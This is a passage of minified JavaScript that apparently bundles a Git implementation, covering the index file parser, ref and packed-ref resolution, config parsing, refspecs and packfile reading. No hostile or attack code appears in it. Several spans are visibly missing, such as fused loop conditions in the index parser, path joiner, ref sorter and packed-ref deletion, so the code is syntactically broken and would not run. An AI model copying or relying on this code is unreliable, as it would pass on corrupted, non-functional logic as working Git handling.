Cv===null&&(Cv=await CW()),Cv?KA(t):_W(t)}function _W(t){return new WA().update(t).digest("hex")}async function KA(t){let e=await crypto.subtle.digest("SHA-1",t);return EW(e)}async function CW(){try{return await KA(new Uint8Array([]))==="da39a3ee5e6b4b0d3255bfef95601890afd80709"}catch{}return!1}function TW(t){return{assumeValid:!!(t&32768),extended:!!(t&16384),stage:(t&12288)>>12,nameLength:t&4095}}function FW(t){let e=t.flags;return e.extended=!1,e.nameLength=Math.min(x.from(t.path).length,4095),(e.assumeValid?32768:0)+(e.extended?16384:0)+((e.stage&3)<<12)+(e.nameLength&4095)}var Bv=class t{constructor(e,n){this._dirty=!1,this._unmergedPaths=n||new Set,this._entries=e||new Map}_addEntry(e){if(e.flags.stage===0)e.stages=[e],this._entries.set(e.path,e),this._unmergedPaths.delete(e.path);else{let n=this._entries.get(e.path);n||(this._entries.set(e.path,e),n=e),n.stages[e.flags.stage]=e,this._unmergedPaths.add(e.path)}}static async from(e){if(x.isBuffer(e))return t.fromBuffer(e);if(e===null)return new t(null);throw new Ce("invalid type passed to GitIndex.from")}static async fromBuffer(e){if(e.length===0)throw new Ce("Index file is empty (.git/index)");let n=new t,r=new Pr(e),i=r.toString("utf8",4);if(i!=="DIRC")throw new Ce(`Invalid dircache magic file number: ${i}`);let s=await us(e.slice(0,-20)),o=e.slice(-20).toString("hex");if(o!==s)throw new Ce(`Invalid checksum in GitIndex buffer: expected ${o} but saw ${s}`);let a=r.readUInt32BE();if(a!==2)throw new Ce(`Unsupported dircache version: ${a}`);let l=r.readUInt32BE(),c=0;for(;!r.eof()&&ce.stages.length>1?e.stages.filter(n=>n):e)}*[Symbol.iterator](){for(let e of this.entries)yield e}insert({filepath:e,stats:n,oid:r,stage:i=0}){n||(n={ctimeSeconds:0,ctimeNanoseconds:0,mtimeSeconds:0,mtimeNanoseconds:0,dev:0,ino:0,mode:0,uid:0,gid:0,size:0}),n=cc(n);let s=x.from(e),o={ctimeSeconds:n.ctimeSeconds,ctimeNanoseconds:n.ctimeNanoseconds,mtimeSeconds:n.mtimeSeconds,mtimeNanoseconds:n.mtimeNanoseconds,dev:n.dev,ino:n.ino,mode:n.mode||33188,uid:n.uid,gid:n.gid,size:n.size,path:e,oid:r,flags:{assumeValid:!1,extended:!1,stage:i,nameLength:s.length<4095?s.length:4095},stages:[]};this._addEntry(o),this._dirty=!0}delete({filepath:e}){if(this._entries.has(e))this._entries.delete(e);else for(let n of this._entries.keys())n.startsWith(e+"/")&&this._entries.delete(n);this._unmergedPaths.has(e)&&this._unmergedPaths.delete(e),this._dirty=!0}clear(){this._entries.clear(),this._dirty=!0}has({filepath:e}){return this._entries.has(e)}render(){return this.entries.map(e=>`${e.mode.toString(8)} ${e.oid} ${e.path}`).join(` -`)}static async _entryToBuffer(e){let n=x.from(e.path),r=Math.ceil((62+n.length+1)/8)*8,i=x.alloc(r),s=new Pr(i),o=cc(e);return s.writeUInt32BE(o.ctimeSeconds),s.writeUInt32BE(o.ctimeNanoseconds),s.writeUInt32BE(o.mtimeSeconds),s.writeUInt32BE(o.mtimeNanoseconds),s.writeUInt32BE(o.dev),s.writeUInt32BE(o.ino),s.writeUInt32BE(o.mode),s.writeUInt32BE(o.uid),s.writeUInt32BE(o.gid),s.writeUInt32BE(o.size),s.write(e.oid,20,"hex"),s.writeUInt16BE(FW(e)),s.write(e.path,n.length,"utf8"),i}async toObject(){let e=x.alloc(12),n=new Pr(e);n.write("DIRC",4,"utf8"),n.writeUInt32BE(2),n.writeUInt32BE(this.entriesFlat.length);let r=[];for(let a of this.entries)if(r.push(t._entryToBuffer(a)),a.stages.length>1)for(let l of a.stages)l&&l!==a&&r.push(t._entryToBuffer(l));r=await Promise.all(r);let i=x.concat(r),s=x.concat([e,i]),o=await us(s);return x.concat([s,x.from(o,"hex")])}};function Sp(t,e,n=!0,r=!0){let i=cc(t),s=cc(e);return n&&i.mode!==s.mode||i.mtimeSeconds!==s.mtimeSeconds||i.ctimeSeconds!==s.ctimeSeconds||i.uid!==s.uid||i.gid!==s.gid||r&&i.ino!==s.ino||i.size!==s.size}var Tv=null,Fv=Symbol("IndexCache");function IW(){return{map:new Map,stats:new Map}}async function AW(t,e,n){let[r,i]=await Promise.all([t.lstat(e),t.read(e)]),s=await Bv.from(i);n.map.set(e,s),n.stats.set(e,r)}async function OW(t,e,n){let r=n.stats.get(e);if(r===void 0)return!0;if(r===null)return!1;let i=await t.lstat(e);return i===null?!1:Sp(r,i)}var Tt=class{static async acquire({fs:e,gitdir:n,cache:r,allowUnmerged:i=!0},s){r[Fv]||(r[Fv]=IW());let o=`${n}/index`;Tv===null&&(Tv=new Lf({maxPending:1/0}));let a,l=[];return await Tv.acquire(o,async()=>{let c=r[Fv];await OW(e,o,c)&&await AW(e,o,c);let u=c.map.get(o);if(l=u.unmergedPaths,l.length&&!i)throw new $f(l);if(a=await s(u),u._dirty){let f=await u.toObject();await e.write(o,f),c.stats.set(o,await e.lstat(o)),u._dirty=!1}}),a}};function Dp(t){let e=Math.max(t.lastIndexOf("/"),t.lastIndexOf("\\"));return e>-1&&(t=t.slice(e+1)),t}function va(t){let e=Math.max(t.lastIndexOf("/"),t.lastIndexOf("\\"));return e===-1?".":e===0?"/":t.slice(0,e)}function ZA(t){let e=new Map,n=function(i){if(!e.has(i)){let s={type:"tree",fullpath:i,basename:Dp(i),metadata:{},children:[]};e.set(i,s),s.parent=n(va(i)),s.parent&&s.parent!==s&&s.parent.children.push(s)}return e.get(i)},r=function(i,s){if(!e.has(i)){let o={type:"blob",fullpath:i,basename:Dp(i),metadata:s,parent:n(va(i)),children:[]};o.parent&&o.parent.children.push(o),e.set(i,o)}return e.get(i)};n(".");for(let i of t)r(i.path,i);return e}function PW(t){switch(t){case 16384:return"tree";case 33188:return"blob";case 33261:return"blob";case 40960:return"blob";case 57344:return"commit"}throw new Ce(`Unexpected GitTree entry mode: ${t.toString(8)}`)}var $v=class{constructor({fs:e,gitdir:n,cache:r}){this.treePromise=Tt.acquire({fs:e,gitdir:n,cache:r},async function(s){return ZA(s.entries)});let i=this;this.ConstructEntry=class{constructor(o){this._fullpath=o,this._type=!1,this._mode=!1,this._stat=!1,this._oid=!1}async type(){return i.type(this)}async mode(){return i.mode(this)}async stat(){return i.stat(this)}async content(){return i.content(this)}async oid(){return i.oid(this)}}}async readdir(e){let n=e._fullpath,i=(await this.treePromise).get(n);if(!i||i.type==="blob")return null;if(i.type!=="tree")throw new Error(`ENOTDIR: not a directory, scandir '${n}'`);let s=i.children.map(o=>o.fullpath);return s.sort(Pp),s}async type(e){return e._type===!1&&await e.stat(),e._type}async mode(e){return e._mode===!1&&await e.stat(),e._mode}async stat(e){if(e._stat===!1){let r=(await this.treePromise).get(e._fullpath);if(!r)throw new Error(`ENOENT: no such file or directory, lstat '${e._fullpath}'`);let i=r.type==="tree"?{}:cc(r.metadata);e._type=r.type==="tree"?"tree":PW(i.mode),e._mode=i.mode,r.type==="tree"?e._stat=void 0:e._stat=i}return e._stat}async content(e){}async oid(e){if(e._oid===!1){let r=(await this.treePromise).get(e._fullpath);e._oid=r.metadata.oid}return e._oid}},Np=Symbol("GitWalkSymbol");function Da(){let t=Object.create(null);return Object.defineProperty(t,Np,{value:function({fs:e,gitdir:n,cache:r}){return new $v({fs:e,gitdir:n,cache:r})}}),Object.freeze(t),t}var st=class t extends je{constructor(e){super(`Could not find ${e}.`),this.code=this.name=t.code,this.data={what:e}}};st.code="NotFoundError";var bn=class t extends je{constructor(e,n,r,i){super(`Object ${e} ${i?`at ${i}`:""}was anticipated to be a ${r} but it is a ${n}.`),this.code=this.name=t.code,this.data={oid:e,actual:n,expected:r,filepath:i}}};bn.code="ObjectTypeError";var Ys=class t extends je{constructor(e){super(`Expected a 40-char hex object id but saw "${e}".`),this.code=this.name=t.code,this.data={value:e}}};Ys.code="InvalidOidError";var Uf=class t extends je{constructor(e){super(`Could not find a fetch refspec for remote "${e}". Make sure the config file has an entry like the following: -[remote "${e}"] - fetch = +refs/heads/*:refs/remotes/origin/* -`),this.code=this.name=t.code,this.data={remote:e}}};Uf.code="NoRefspecError";var Ep=class t{constructor(e){if(this.refs=new Map,this.parsedConfig=[],e){let n=null;this.parsedConfig=e.trim().split(` -`).map(r=>{if(/^\s*#/.test(r))return{line:r,comment:!0};let i=r.indexOf(" ");if(r.startsWith("^")){let s=r.slice(1);return this.refs.set(n+"^{}",s),{line:r,ref:n,peeled:s}}else{let s=r.slice(0,i);return n=r.slice(i+1),this.refs.set(n,s),{line:r,ref:n,oid:s}}})}return this}static from(e){return new t(e)}delete(e){this.parsedConfig=this.parsedConfig.filter(n=>n.ref!==e),this.refs.delete(e)}toString(){return this.parsedConfig.map(({line:e})=>e).join(` -`)+` -`}},_p=class t{constructor({remotePath:e,localPath:n,force:r,matchPrefix:i}){Object.assign(this,{remotePath:e,localPath:n,force:r,matchPrefix:i})}static from(e){let[n,r,i,s,o]=e.match(/^(\+?)(.*?)(\*?):(.*?)(\*?)$/).slice(1),a=n==="+",l=i==="*";if(l!==(o==="*"))throw new Ce("Invalid refspec");return new t({remotePath:r,localPath:s,force:a,matchPrefix:l})}translate(e){if(this.matchPrefix){if(e.startsWith(this.remotePath))return this.localPath+e.replace(this.remotePath,"")}else if(e===this.remotePath)return this.localPath;return null}reverseTranslate(e){if(this.matchPrefix){if(e.startsWith(this.localPath))return this.remotePath+e.replace(this.localPath,"")}else if(e===this.localPath)return this.remotePath;return null}},Uv=class t{constructor(e=[]){this.rules=e}static from(e){let n=[];for(let r of e)n.push(_p.from(r));return new t(n)}add(e){let n=_p.from(e);this.rules.push(n)}translate(e){let n=[];for(let r of this.rules)for(let i of e){let s=r.translate(i);s&&n.push([i,s])}return n}translateOne(e){let n=null;for(let r of this.rules){let i=r.translate(e);i&&(n=i)}return n}localNamespaces(){return this.rules.filter(e=>e.matchPrefix).map(e=>e.localPath.replace(/\/$/,""))}};function NW(t,e){let n=t.replace(/\^\{\}$/,""),r=e.replace(/\^\{\}$/,""),i=-(nr);return i===0?t.endsWith("^{}")?1:-1:i}function MW(t,e){let n="",r=0,i=-1,s=0,o="\0";for(let a=0;a<=t.length;++a){if(a2){let l=n.lastIndexOf("/");l===-1?(n="",r=0):(n=n.slice(0,l),r=n.length-1-n.lastIndexOf("/")),i=a,s=0;continue}else if(n.length!==0){n="",r=0,i=a,s=0;continue}}e&&(n+=n.length>0?"/..":"..",r=2)}else n.length>0?n+="/"+t.slice(i+1,a):n=t.slice(i+1,a),r=a-i-1;i=a,s=0}else o==="."&&s!==-1?++s:s=-1}return n}function RW(t){if(!t.length)return".";let e=t[0]==="/",n=t.at(-1)==="/";return t=MW(t,!e),t.length?(n&&(t+="/"),e?`/${t}`:t):e?"/":n?"./":"."}function V(...t){if(t.length===0)return".";let e;for(let n=0;n0&&(e===void 0?e=r:e+="/"+r)}return e===void 0?".":RW(e)}var zW=t=>{if(typeof t=="number")return t;t=t.toLowerCase();let e=parseInt(t);return t.endsWith("k")&&(e*=1024),t.endsWith("m")&&(e*=1024*1024),t.endsWith("g")&&(e*=1024*1024*1024),e},zf=t=>{if(typeof t=="boolean")return t;if(t=t.trim().toLowerCase(),t==="true"||t==="yes"||t==="on")return!0;if(t==="false"||t==="no"||t==="off")return!1;throw Error(`Expected 'true', 'false', 'yes', 'no', 'on', or 'off', but got ${t}`)},EA={core:{filemode:zf,bare:zf,logallrefupdates:zf,symlinks:zf,ignorecase:zf,bigFileThreshold:zW}},LW=/^\[([A-Za-z0-9-.]+)(?: "(.*)")?\]$/,BW=/^[A-Za-z0-9-.]+$/,$W=/^([A-Za-z][A-Za-z-]*)(?: *= *(.*))?$/,UW=/^[A-Za-z][A-Za-z-]*$/,jW=/^(.*?)( *[#;].*)$/,qW=t=>{let e=LW.exec(t);if(e!=null){let[n,r]=e.slice(1);return[n,r]}return null},VW=t=>{let e=$W.exec(t);if(e!=null){let[n,r="true"]=e.slice(1),i=HW(r),s=WW(i);return[n,s]}return null},HW=t=>{let e=jW.exec(t);if(e==null)return t;let[n,r]=e.slice(1);return _A(n)&&_A(r)?`${n}${r}`:n},_A=t=>(t.match(/(?:^|[^\\])"/g)||[]).length%2!==0,WW=t=>t.split("").reduce((e,n,r,i)=>{let s=n==='"'&&i[r-1]!=="\\",o=n==="\\"&&i[r+1]==='"';return s||o?e:e+n},""),CA=t=>t!=null?t.toLowerCase():null,jv=(t,e,n)=>[CA(t),e,CA(n)].filter(r=>r!=null).join("."),TA=t=>{let e=t.split("."),n=e.shift(),r=e.pop(),i=e.length?e.join("."):void 0;return{section:n,subsection:i,name:r,path:jv(n,i,r),sectionPath:jv(n,i,null),isSection:!!n}},GW=(t,e)=>t.reduce((n,r,i)=>e(r)?i:n,-1),qv=class t{constructor(e){let n=null,r=null;this.parsedConfig=e?e.split(` -`).map(i=>{let s=null,o=null,a=i.trim(),l=qW(a),c=l!=null;if(c)[n,r]=l;else{let f=VW(a);f!=null&&([s,o]=f)}let u=jv(n,r,s);return{line:i,isSection:c,section:n,subsection:r,name:s,value:o,path:u}}):[]}static from(e){return new t(e)}async get(e,n=!1){let r=TA(e).path,i=this.parsedConfig.filter(s=>s.path===r).map(({section:s,name:o,value:a})=>{let l=EA[s]&&EA[s][o];return l?l(a):a});return n?i:i.pop()}async getall(e){return this.get(e,!0)}async getSubsections(e){return this.parsedConfig.filter(n=>n.isSection&&n.section===e).map(n=>n.subsection)}async deleteSection(e,n){this.parsedConfig=this.parsedConfig.filter(r=>!(r.section===e&&r.subsection===n))}async append(e,n){return this.set(e,n,!0)}async set(e,n,r=!1){let{section:i,subsection:s,name:o,path:a,sectionPath:l,isSection:c}=TA(e),u=GW(this.parsedConfig,f=>f.path===a);if(n==null)u!==-1&&this.parsedConfig.splice(u,1);else if(u!==-1){let f=this.parsedConfig[u],h=Object.assign({},f,{name:o,value:n,modified:!0});r?this.parsedConfig.splice(u+1,0,h):this.parsedConfig[u]=h}else{let f=this.parsedConfig.findIndex(d=>d.path===l),h={section:i,subsection:s,name:o,value:n,modified:!0,path:a};if(BW.test(i)&&UW.test(o))if(f>=0)this.parsedConfig.splice(f+1,0,h);else{let d={isSection:c,section:i,subsection:s,modified:!0,path:l};this.parsedConfig.push(d,h)}}}toString(){return this.parsedConfig.map(({line:e,section:n,subsection:r,name:i,value:s,modified:o=!1})=>o?i!=null&&s!=null?typeof s=="string"&&/[#;]/.test(s)?` ${i} = "${s}"`:` ${i} = ${s}`:r!=null?`[${n} "${r}"]`:`[${n}]`:e).join(` -`)}},Et=class{static async get({fs:e,gitdir:n}){let r=await e.read(`${n}/config`,{encoding:"utf8"});return qv.from(r)}static async save({fs:e,gitdir:n,config:r}){await e.write(`${n}/config`,r.toString(),{encoding:"utf8"})}},kp=t=>[`${t}`,`refs/${t}`,`refs/tags/${t}`,`refs/heads/${t}`,`refs/remotes/${t}`,`refs/remotes/${t}/HEAD`],QW=["config","description","index","shallow","commondir"],Iv;async function Ks(t,e){return Iv===void 0&&(Iv=new Lf),Iv.acquire(t,e)}var te=class t{static async updateRemoteRefs({fs:e,gitdir:n,remote:r,refs:i,symrefs:s,tags:o,refspecs:a=void 0,prune:l=!1,pruneTags:c=!1}){for(let y of i.values())if(!y.match(/[0-9a-f]{40}/))throw new Ys(y);let u=await Et.get({fs:e,gitdir:n});if(!a){if(a=await u.getall(`remote.${r}.fetch`),a.length===0)throw new Uf(r);a.unshift(`+HEAD:refs/remotes/${r}/HEAD`)}let f=Uv.from(a),h=new Map;if(c){let y=await t.listRefs({fs:e,gitdir:n,filepath:"refs/tags"});await t.deleteRefs({fs:e,gitdir:n,refs:y.map(w=>`refs/tags/${w}`)})}if(o){for(let y of i.keys())if(y.startsWith("refs/tags")&&!y.endsWith("^{}")&&!await t.exists({fs:e,gitdir:n,ref:y})){let w=i.get(y);h.set(y,w)}}let d=f.translate([...i.keys()]);for(let[y,w]of d){let b=i.get(y);h.set(w,b)}let p=f.translate([...s.keys()]);for(let[y,w]of p){let b=s.get(y),S=f.translateOne(b);S&&h.set(w,`ref: ${S}`)}let g=[];if(l){for(let y of f.localNamespaces()){let w=(await t.listRefs({fs:e,gitdir:n,filepath:y})).map(b=>`${y}/${b}`);for(let b of w)h.has(b)||g.push(b)}g.length>0&&await t.deleteRefs({fs:e,gitdir:n,refs:g})}for(let[y,w]of h)await Ks(y,async()=>e.write(V(n,y),`${w.trim()} -`,"utf8"));return{pruned:g}}static async writeRef({fs:e,gitdir:n,ref:r,value:i}){if(!i.match(/[0-9a-f]{40}/))throw new Ys(i);await Ks(r,async()=>e.write(V(n,r),`${i.trim()} -`,"utf8"))}static async writeSymbolicRef({fs:e,gitdir:n,ref:r,value:i}){await Ks(r,async()=>e.write(V(n,r),`ref: ${i.trim()} -`,"utf8"))}static async deleteRef({fs:e,gitdir:n,ref:r}){return t.deleteRefs({fs:e,gitdir:n,refs:[r]})}static async deleteRefs({fs:e,gitdir:n,refs:r}){await Promise.all(r.map(a=>e.rm(V(n,a))));let i=await Ks("packed-refs",async()=>e.read(`${n}/packed-refs`,{encoding:"utf8"})),s=Ep.from(i),o=s.refs.size;for(let a of r)s.refs.has(a)&&s.delete(a);s.refs.sizee.write(`${n}/packed-refs`,i,{encoding:"utf8"})))}static async resolve({fs:e,gitdir:n,ref:r,depth:i=void 0}){if(i!==void 0&&(i--,i===-1))return r;if(r.startsWith("ref: "))return r=r.slice(5),t.resolve({fs:e,gitdir:n,ref:r,depth:i});if(r.length===40&&/[0-9a-f]{40}/.test(r))return r;let s=await t.packedRefs({fs:e,gitdir:n}),o=kp(r).filter(a=>!QW.includes(a));for(let a of o){let l=await Ks(a,async()=>await e.read(`${n}/${a}`,{encoding:"utf8"})||s.get(a));if(l)return t.resolve({fs:e,gitdir:n,ref:l.trim(),depth:i})}throw new st(r)}static async exists({fs:e,gitdir:n,ref:r}){try{return await t.expand({fs:e,gitdir:n,ref:r}),!0}catch{return!1}}static async expand({fs:e,gitdir:n,ref:r}){if(r.length===40&&/[0-9a-f]{40}/.test(r))return r;let i=await t.packedRefs({fs:e,gitdir:n}),s=kp(r);for(let o of s)if(await Ks(o,async()=>e.exists(`${n}/${o}`))||i.has(o))return o;throw new st(r)}static async expandAgainstMap({ref:e,map:n}){let r=kp(e);for(let i of r)if(await n.has(i))return i;throw new st(e)}static resolveAgainstMap({ref:e,fullref:n=e,depth:r=void 0,map:i}){if(r!==void 0&&(r--,r===-1))return{fullref:n,oid:e};if(e.startsWith("ref: "))return e=e.slice(5),t.resolveAgainstMap({ref:e,fullref:n,depth:r,map:i});if(e.length===40&&/[0-9a-f]{40}/.test(e))return{fullref:n,oid:e};let s=kp(e);for(let o of s){let a=i.get(o);if(a)return t.resolveAgainstMap({ref:a.trim(),fullref:o,depth:r,map:i})}throw new st(e)}static async packedRefs({fs:e,gitdir:n}){let r=await Ks("packed-refs",async()=>e.read(`${n}/packed-refs`,{encoding:"utf8"}));return Ep.from(r).refs}static async listRefs({fs:e,gitdir:n,filepath:r}){let i=t.packedRefs({fs:e,gitdir:n}),s=null;try{s=await e.readdirDeep(`${n}/${r}`),s=s.map(o=>o.replace(`${n}/${r}/`,""))}catch{s=[]}for(let o of(await i).keys())o.startsWith(r)&&(o=o.replace(r+"/",""),s.includes(o)||s.push(o));return s.sort(NW),s}static async listBranches({fs:e,gitdir:n,remote:r}){return r?t.listRefs({fs:e,gitdir:n,filepath:`refs/remotes/${r}`}):t.listRefs({fs:e,gitdir:n,filepath:"refs/heads"})}static async listTags({fs:e,gitdir:n}){return(await t.listRefs({fs:e,gitdir:n,filepath:"refs/tags"})).filter(i=>!i.endsWith("^{}"))}};function KW(t,e){return Pp(FA(t),FA(e))}function FA(t){return t.mode==="040000"?t.path+"/":t.path}function YA(t){switch(t){case"040000":return"tree";case"100644":return"blob";case"100755":return"blob";case"120000":return"blob";case"160000":return"commit"}throw new Ce(`Unexpected GitTree entry mode: ${t}`)}function ZW(t){let e=[],n=0;for(;n`${e.mode} ${e.type} ${e.oid} ${e.path}`).join(` -`)}toObject(){let e=[...this._entries];return e.sort(KW),x.concat(e.map(n=>{let r=x.from(n.mode.replace(/^0/,"")),i=x.from(" "),s=x.from(n.path,"utf8"),o=x.from([0]),a=x.from(n.oid,"hex");return x.concat([r,i,s,o,a])}))}entries(){return this._entries}*[Symbol.iterator](){for(let e of this._entries)yield e}},Js=class{static wrap({type:e,object:n}){let r=`${e} ${n.length}\0`,i=r.length,s=i+n.length,o=new Uint8Array(s);for(let a=0;a>=1,i+=8;return r}function OA(t,e){let n=t.readUInt8(),r=128,i=15,s=112;if(n&r){let o=AA(t,n&i,4),a=AA(t,(n&s)>>4,3);return a===0&&(a=65536),e.slice(o,o+a)}else return t.slice(n)}function e9(t){let e=[t];return{next(){return Promise.resolve({done:e.length===0,value:e.pop()})},return(){return e=[],{}},[Symbol.asyncIterator](){return this}}}function XA(t){return t[Symbol.asyncIterator]?t[Symbol.asyncIterator]():t[Symbol.iterator]?t[Symbol.iterator]():t.next?t:e9(t)}var Cp=class{constructor(e){if(typeof x>"u")throw new Error("Missing Buffer dependency");this.stream=XA(e),this.buffer=null,this.cursor=0,this.undoCursor=0,this.started=!1,this._ended=!1,this._discardedBytes=0}eof(){return this._ended&&this.cursor===this.buffer.length}tell(){return this._discardedBytes+this.cursor}async byte(){if(!this.eof()&&(this.started||await this._init(),!(this.cursor===this.buffer.length&&(await this._loadnext(),this._ended))))return this._moveCursor(1),this.buffer[this.undoCursor]}async chunk(){if(!this.eof()&&(this.started||await this._init(),!(this.cursor===this.buffer.length&&(await this._loadnext(),this._ended))))return this._moveCursor(this.buffer.length),this.buffer.slice(this.undoCursor,this.cursor)}async read(e){if(!this.eof())return this.started||await this._init(),this.cursor+e>this.buffer.length&&(this._trim(),await this._accumulate(e)),this._moveCursor(e),this.buffer.slice(this.undoCursor,this.cursor)}async skip(e){this.eof()||(this.started||await this._init(),this.cursor+e>this.buffer.length&&(this._trim(),await this._accumulate(e)),this._moveCursor(e))}async undo(){this.cursor=this.undoCursor}async _next(){this.started=!0;let{done:e,value:n}=await this.stream.next();return e&&(this._ended=!0,!n)?x.alloc(0):(n&&(n=x.from(n)),n)}_trim(){this.buffer=this.buffer.slice(this.undoCursor),this.cursor-=this.undoCursor,this._discardedBytes+=this.undoCursor,this.undoCursor=0}_moveCursor(e){this.undoCursor=this.cursor,this.cursor+=e,this.cursor>this.buffer.length&&(this.cursor=this.buffer.length)}async _accumulate(e){if(this._ended)return;let n=[this.buffer];for(;this.cursor+e>t9(n);){let r=await this._next();if(this._ended)break;n.push(r)}this.buffer=x.concat(n)}async _loadnext(){this._discardedBytes+=this.buffer.length,this.undoCursor=0,this.cursor=0,this.buffer=await this._next()}async _init(){this.buffer=await this._next()}};function t9(t){return t.reduce((e,n)=>e+n.length,0)}async function n9(t,e){let n=new Cp(t),r=await n.read(4);if(r=r.toString("utf8"),r!=="PACK")throw new Ce(`Invalid PACK header '${r}'`);let i=await n.read(4);if(i=i.readUInt32BE(0),i!==2)throw new Ce(`Invalid packfile version: ${i}`);let s=await n.read(4);if(s=s.readUInt32BE(0),!(s<1))for(;!n.eof()&&s--;){let o=n.tell(),{type:a,length:l,ofs:c,reference:u}=await r9(n),f=new Yv.Inflate;for(;!f.result;){let h=await n.chunk();if(!h)break;if(f.push(h,!1),f.err)throw new Ce(`Pako error: ${f.msg}`);if(f.result){if(f.result.length!==l)throw new Ce("Inflated object size is different from that stated in packfile.");await n.undo(),await n.read(h.length-f.strm.avail_in);let d=n.tell();await e({data:f.result,type:a,num:s,offset:o,end:d,reference:u,ofs:c})}}}}async function r9(t){let e=await t.byte(),n=e>>4&7,r=e&15;if(e&128){let o=4;do e=await t.byte(),r|=(e&127)<i+1<<7|s,-1)}function a9(t,e){let n=e,r=4,i=null;do i=t.readUInt8(),n|=(i&127)<2048*1024*1024)throw new Ce("To keep implementation simple, I haven't implemented the layer 5 feature needed to support packfiles > 2GB in size.");r.seek(r.tell()+4*255);let o=r.readUInt32BE(),a=[];for(let u=0;u{u===null&&(u=D);let k=Math.floor((u-D)*100/u);k!==f&&r&&await r({phase:"Receiving objects",loaded:u-D,total:u}),f=k,w=i[w],["commit","tree","blob","tag"].includes(w)?s[S]={type:w,offset:S}:w==="ofs-delta"?s[S]={type:w,offset:S}:w==="ref-delta"&&(s[S]={type:w,offset:S})});let h=Object.keys(s).map(Number);for(let[y,w]of h.entries()){let b=y+1===h.length?e.byteLength-20:h[y+1],S=s[w],D=xW.buf(e.slice(w,b))>>>0;S.end=b,S.crc=D}let d=new t({pack:Promise.resolve(e),packfileSha:o,crcs:l,hashes:a,offsets:c,getExternalRefDelta:n});f=null;let p=0,g=[0,0,0,0,0,0,0,0,0,0,0,0];for(let y in s){y=Number(y);let w=Math.floor(p*100/u);w!==f&&r&&await r({phase:"Resolving deltas",loaded:p,total:u}),p++,f=w;let b=s[y];if(!b.oid)try{d.readDepth=0,d.externalReadDepth=0;let{type:S,object:D}=await d.readSlice({start:y});g[d.readDepth]+=1;let k=await us(Js.wrap({type:S,object:D}));b.oid=k,a.push(k),c.set(k,y),l[k]=b.crc}catch{continue}}return a.sort(),d}async toBuffer(){let e=[],n=(c,u)=>{e.push(x.from(c,u))};n("ff744f63","hex"),n("00000002","hex");let r=new Pr(x.alloc(256*4));for(let c=0;c<256;c++){let u=0;for(let f of this.hashes)parseInt(f.slice(0,2),16)<=c&&u++;r.writeUInt32BE(u)}e.push(r.buffer);for(let c of this.hashes)n(c,"hex");let i=new Pr(x.alloc(this.hashes.length*4));for(let c of this.hashes)i.writeUInt32BE(this.crcs[c]);e.push(i.buffer);let s=new Pr(x.alloc(this.hashes.length*4));for(let c of this.hashes)s.writeUInt32BE(this.offsets.get(c));e.push(s.buffer),n(this.packfileSha,"hex");let o=x.concat(e),a=await us(o),l=x.alloc(20);return l.write(a,"hex"),x.concat([o,l])}async load({pack:e}){this.pack=e}async unload(){this.pack=null}async read({oid:e}){if(!this.offsets.get(e)){if(this.getExternalRefDelta)return this.externalReadDepth++,this.getExternalRefDelta(e);throw new Ce(`Could not read object ${e} from packfile`)}let n=this.offsets.get(e);return this.readSlice({start:n})}async readSlice({start:e}){if(this.offsetCache[e])return Object.assign({},this.offsetCache[e]);this.readDepth++;let n={16:"commit",32:"tree",48:"blob",64:"tag",96:"ofs_delta",112:"ref_delta"};if(!this.pack)throw new Ce("Tried to read from a GitPackIndex with no packfile loaded into memory");let r=(await this.pack).slice(e),i=new Pr(r),s=i.readUInt8(),o=s&112,a=n[o];if(a===void 0)throw new Ce("Unrecognized type: 0b"+o.toString(2));let l=s&15,c=l;s&128&&(c=a9(i,l));let f=null,h=null;if(a==="ofs_delta"){let p=o9(i),g=e-p;({object:f,type:a}=await this.readSlice({start:g}))}if(a==="ref_delta"){let p=i.slice(20).toString("hex");({object:f,type:a}=await this.read({oid:p}))}let d=r.slice(i.tell());if(h=x.from(await eO(d)),h.byteLength!==c)throw new Ce(`Packfile told us object would have length ${c} but it had length ${h.byteLength}`);return f&&(h=x.from(XW(h,f))),this.readDepth>3&&(this.offsetCache[e]={type:a,object:h}),{type:a,format:"content",object:h}}},xp=Symbol("PackfileCache");async function l9({fs:t,filename:e,getExternalRefDelta:n,emitter:r,emitterPrefix:i}){let s=await t.read(e);return jf.fromIdx({idx:s,getExternalRefDelta:n})}function Jv({fs:t,cache:e,filename:n,getExternalRefDelta:r,emitter:i,emitterPrefix:s}){e[xp]||(e[xp]=new Map);let o=e[xp].get(n);return o||(o=l9({fs:t,filename:n,getExternalRefDelta:r,emitter:i,emitterPrefix:s}),e[xp].set(n,o)),o}async function c9({fs:t,cache:e,gitdir:n,oid:r,format:i="content",getExternalRefDelta:s}){let o=await t.readdir(V(n,"objects/pack"));o=o.filter(a=>a.endsWith(".idx"));for(let a of o){let l=`${n}/objects/pack/${a}`,c=await Jv({fs:t,cache:e,filename:l,getExternalRefDelta:s});if(c.error)throw new Ce(c.error);if(c.offsets.has(r)){if(!c.pack){let f=l.replace(/idx$/,"pack");c.pack=t.read(f)}let u=await c.read({oid:r,getExternalRefDelta:s});return u.format="content",u.source=`objects/pack/${a.replace(/idx$/,"pack")}`,u}}return null}async function ct({fs:t,cache:e,gitdir:n,oid:r,format:i="content"}){let s=u=>ct({fs:t,cache:e,gitdir:n,oid:u}),o;if(r==="4b825dc642cb6eb9a060e54bf8d69288fbee4904"&&(o={format:"wrapped",object:x.from("tree 0\0")}),o||(o=await JA({fs:t,gitdir:n,oid:r})),!o){if(o=await c9({fs:t,cache:e,gitdir:n,oid:r,getExternalRefDelta:s}),!o)throw new st(r);return o}if(i==="deflated"||(o.format==="deflated"&&(o.object=x.from(await eO(o.object)),o.format="wrapped"),i==="wrapped"))return o;let a=await us(o.object);if(a!==r)throw new Ce(`SHA check failed! Expected ${r}, computed ${a}`);let{object:l,type:c}=Js.unwrap(o.object);if(o.type=c,o.object=l,o.format="content",i==="content")return o;throw new Ce(`invalid requested format "${i}"`)}var ii=class t extends je{constructor(e,n,r=!0){super(`Failed to create ${e} at ${n} because it already exists.${r?` (Hint: use 'force: true' parameter to overwrite existing ${e}.)`:""}`),this.code=this.name=t.code,this.data={noun:e,where:n,canForce:r}}};ii.code="AlreadyExistsError";var qf=class t extends je{constructor(e,n,r){super(`Found multiple ${e} matching "${n}" (${r.join(", ")}). Use a longer abbreviation length to disambiguate them.`),this.code=this.name=t.code,this.data={nouns:e,short:n,matches:r}}};qf.code="AmbiguousError";var Vf=class t extends je{constructor(e){super(`Your local changes to the following files would be overwritten by checkout: ${e.join(", ")}`),this.code=this.name=t.code,this.data={filepaths:e}}};Vf.code="CheckoutConflictError";var Hf=class t extends je{constructor(e,n){super(`Failed to checkout 